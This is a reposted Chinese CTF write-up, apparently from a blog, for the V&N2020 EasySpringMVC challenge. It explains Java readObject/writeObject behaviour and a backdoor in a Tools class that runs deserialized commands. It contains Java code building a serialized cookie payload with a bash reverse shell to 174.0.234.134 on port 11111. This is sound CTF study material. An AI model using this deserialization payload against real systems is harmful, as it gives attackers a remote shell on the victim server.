码迷,mamicode.com
首页 > 编程语言 > 详细

刷题记录:[V&N2020 公开赛]EasySpringMVC

时间:2020-03-05 22:18:22      阅读:155      评论:0      收藏:0      [点我收藏+]

标签:lock   pre   一个   根据   too   指定   out   stat   https   

题目复现链接:https://buuoj.cn/challenges
参考链接:2020 年 V&N 内部考核赛 WriteUp
从一道题入门JAVA反序列化漏洞
V&N公开赛2020 writeup

Java反序列化

深入了解序列化writeObject、readObject、readResolve

总结一下,如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化,而如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用目标类指定的writeObject或readObject方法来实现。

这里的Tools类中有readObject

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    Object obj = in.readObject();
    (new ProcessBuilder((String[])((String[])obj))).start();
}

其实这就是一个后门。我们可以重写Tools类中writeObject来生成payload

private void writeObject(ObjectOutputStream out) throws IOException{
    out.writeObject(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/174.0.234.134/11111 0>&1"});
}

用Main生成payload

public class Main {
    public static void main(String[] args) {
        Tools tools = new Tools();
        Base64.Encoder e = Base64.getEncoder();
        byte[] var20 = new byte[0];
        try {
            var20 = Tools.create(tools);
        } catch (Exception var15) {
            var15.printStackTrace();
        }
        String cookie = e.encodeToString(var20);
        System.out.println(cookie);
    }
}

刷题记录:[V&N2020 公开赛]EasySpringMVC

标签:lock   pre   一个   根据   too   指定   out   stat   https   

原文地址:https://www.cnblogs.com/20175211lyz/p/12422914.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!